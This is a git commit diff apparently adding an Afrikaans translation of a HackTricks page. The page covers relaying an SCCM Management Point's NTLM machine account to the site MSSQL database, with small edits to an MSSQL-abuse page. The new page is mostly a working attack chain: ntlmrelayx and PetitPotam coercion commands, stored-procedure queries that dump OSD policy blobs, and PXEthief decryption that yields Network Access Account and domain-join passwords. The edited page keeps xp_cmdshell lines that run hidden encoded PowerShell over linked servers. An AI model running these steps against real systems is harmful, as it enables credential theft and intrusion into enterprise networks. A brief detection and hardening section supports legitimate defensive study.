Translated ['src/windows-hardening/active-directory-methodology/abusing-

This commit is contained in:
Translator 2025-07-22 08:30:45 +00:00
parent 808acb8c24
commit a03aba57b0
3 changed files with 166 additions and 5 deletions

View File

@ -283,6 +283,7 @@
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
- [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)

View File

@ -108,7 +108,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### Opname van binne die domein
### Opname vanaf binne die domein
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
@ -161,7 +161,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
### MSSQL RCE
Dit mag ook moontlik wees om **opdragte** binne die MSSQL-gasheer uit te voer.
Dit mag ook moontlik wees om **opdragte** binne die MSSQL gasheer uit te voer.
```bash
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
@ -176,7 +176,7 @@ Kontroleer in die bladsy genoem in die **volgende afdeling hoe om dit handmatig
## MSSQL Betroubare Skakels
As 'n MSSQL-instansie betroubaar (databasis skakel) is deur 'n ander MSSQL-instansie. As die gebruiker bevoegdhede oor die betroubare databasis het, sal hy in staat wees om **die vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker in staat wees om 'n verkeerd geconfigureerde databasis te vind waar hy opdragte kan uitvoer.
As 'n MSSQL-instansie betroubaar (databasis skakel) is deur 'n ander MSSQL-instansie. As die gebruiker bevoegdhede oor die betroubare databasis het, gaan hy in staat wees om die **vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker in staat wees om 'n verkeerd geconfigureerde databasis te vind waar hy opdragte kan uitvoer.
**Die skakels tussen databasisse werk selfs oor woudvertroue.**
@ -252,11 +252,11 @@ Voer navrae uit deur die skakel (voorbeeld: vind meer skakels in die nuwe toegan
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
> [!WARNING]
> Kyk waar dubbel en enkel aanhalingsmerke gebruik word, dit is belangrik om dit op daardie manier te gebruik.
> Kontroleer waar dubbele en enkele aanhalingsmerke gebruik word, dit is belangrik om dit op daardie manier te gebruik.
![](<../../images/image (643).png>)
Jy kan hierdie vertroude skakelketting handmatig vir ewig voortset.
Jy kan hierdie vertroude skakelsketting handmatig vir ewig voortset.
```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
@ -282,5 +282,10 @@ Die **MSSQL plaaslike gebruiker** het gewoonlik 'n spesiale tipe voorreg genaamd
[SweetPotato](https://github.com/CCob/SweetPotato) het 'n versameling van hierdie verskillende tegnieke wat uitgevoer kan word via Beacon se `execute-assembly` opdrag.
### SCCM Bestuurspunt NTLM Relay (OSD Geheimekstraksie)
Sien hoe die standaard SQL rolle van SCCM **Bestuurspunte** misbruik kan word om Netwerk Toegang Rekening en Taakvolg Geheimenisse direk uit die webdatabasis te dump:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,155 @@
# SCCM Bestuurspunt NTLM Relay na SQL OSD Beleid Geheim Onttrekking
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
Deur 'n **System Center Configuration Manager (SCCM) Bestuurspunt (MP)** te dwing om oor SMB/RPC te autentiseer en daardie NTLM masjienrekening na die **terrein databasis (MSSQL)** te **relay**, verkry jy `smsdbrole_MP` / `smsdbrole_MPUserSvc` regte. Hierdie rolle laat jou toe om 'n stel gestoor prosedures aan te roep wat **Operating System Deployment (OSD)** beleid blobs (Netwerk Toegang Rekening kredensiale, Taak-Reeks veranderlikes, ens.) blootstel. Die blobs is hex-gecodeer/enkripteer, maar kan gedecodeer en ontsleutel word met **PXEthief**, wat platte teks geheime oplewer.
Hoogvlak ketting:
1. Ontdek MP & terrein DB ↦ nie-geoutentiseerde HTTP eindpunt `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
2. Begin `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
3. Dwing MP met **PetitPotam**, PrinterBug, DFSCoerce, ens.
4. Deur die SOCKS-proxy te verbind met `mssqlclient.py -windows-auth` as die gerelayde **<DOMAIN>\\<MP-host>$** rekening.
5. Voer uit:
* `use CM_<SiteCode>`
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
* `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (of `MP_GetPolicyBodyAfterAuthorization`)
6. Verwyder `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
Geheime soos `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, ens. word herwin sonder om PXE of kliënte aan te raak.
---
## 1. Opname van nie-geoutentiseerde MP eindpunte
Die MP ISAPI uitbreiding **GetAuth.dll** stel verskeie parameters bloot wat nie outentisering vereis nie (tenzij die terrein slegs PKI is):
| Parameter | Doel |
|-----------|---------|
| `MPKEYINFORMATIONMEDIA` | Retourneer terrein ondertekening sertifikaat publieke sleutel + GUIDs van *x86* / *x64* **Alle Onbekende Rekenings** toestelle. |
| `MPLIST` | Lys elke Bestuurspunt in die terrein. |
| `SITESIGNCERT` | Retourneer Primêre-Terrein ondertekening sertifikaat (identifiseer die terrein bediener sonder LDAP). |
Grijp die GUIDs wat as die **clientID** sal dien vir latere DB navrae:
```bash
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
```
---
## 2. Stuur die MP masjienrekening na MSSQL
```bash
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
```
Wanneer die dwang afgaan, moet jy iets soos die volgende sien:
```
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
```
---
## 3. Identifiseer OSD-beleide via gestoor prosedures
Verbind deur die SOCKS-proxy (poort 1080 standaard):
```bash
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
```
Skakel oor na die **CM_<SiteCode>** DB (gebruik die 3-syfer terrein kode, bv. `CM_001`).
### 3.1 Vind Onbekende-Rekenaar GUIDs (opsioneel)
```sql
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
```
### 3.2 Lys toegewyde beleide
```sql
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
```
Elke ry bevat `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`.
Fokus op beleide:
* **NAAConfig** Netwerktoegang rekening krediete
* **TS_Sequence** Taakvolgorde veranderlikes (OSDJoinAccount/Wagwoord)
* **CollectionSettings** Kan run-as rekeninge bevat
### 3.3 Verkry volle liggaam
As jy reeds `PolicyID` & `PolicyVersion` het, kan jy die clientID vereiste oorslaan met:
```sql
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
```
> BELANGRIJK: Verhoog "Maximum Characters Retrieved" in SSMS (>65535) of die blob sal afgekort word.
---
## 4. Dekodeer en ontsleutel die blob
```bash
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
```
Herstelde geheime voorbeeld:
```
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
```
---
## 5. Relevante SQL rolle & prosedures
By relay word die aanmelding toegeken aan:
* `smsdbrole_MP`
* `smsdbrole_MPUserSvc`
Hierdie rolle stel dosyne EXEC toestemmings bloot, die sleutel een wat in hierdie aanval gebruik word is:
| Gestoor Prosedure | Doel |
|------------------|---------|
| `MP_GetMachinePolicyAssignments` | Lys beleid toegepas op 'n `clientID`. |
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Retourneer volledige beleidsliggaam. |
| `MP_GetListOfMPsInSiteOSD` | Teruggestuur deur `MPKEYINFORMATIONMEDIA` pad. |
Jy kan die volledige lys inspekteer met:
```sql
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
```
---
## 6. Opsporing & Versterking
1. **Monitor MP aanmeldings** enige MP rekenaarrekening wat aanmeld vanaf 'n IP wat nie sy gasheer is nie ≈ relay.
2. Aktiveer **Verlengde Beskerming vir Verifikasie (EPA)** op die webwerf databasis (`PREVENT-14`).
3. Deaktiveer ongebruikte NTLM, afdwing SMB ondertekening, beperk RPC (
dieselfde versagtings wat teen `PetitPotam`/`PrinterBug` gebruik is).
4. Versterk MP ↔ DB kommunikasie met IPSec / mutual-TLS.
---
## Sien ook
* NTLM relay beginsels:
{{#ref}}
../ntlm/README.md
{{#endref}}
* MSSQL misbruik & post-exploitatie:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
## Verwysings
- [Ek wil graag met jou bestuurder praat: Diefstal van geheime met Bestuurspunt Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
- [Misconfigurasie Bestuurder ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
{{#include ../../banners/hacktricks-training.md}}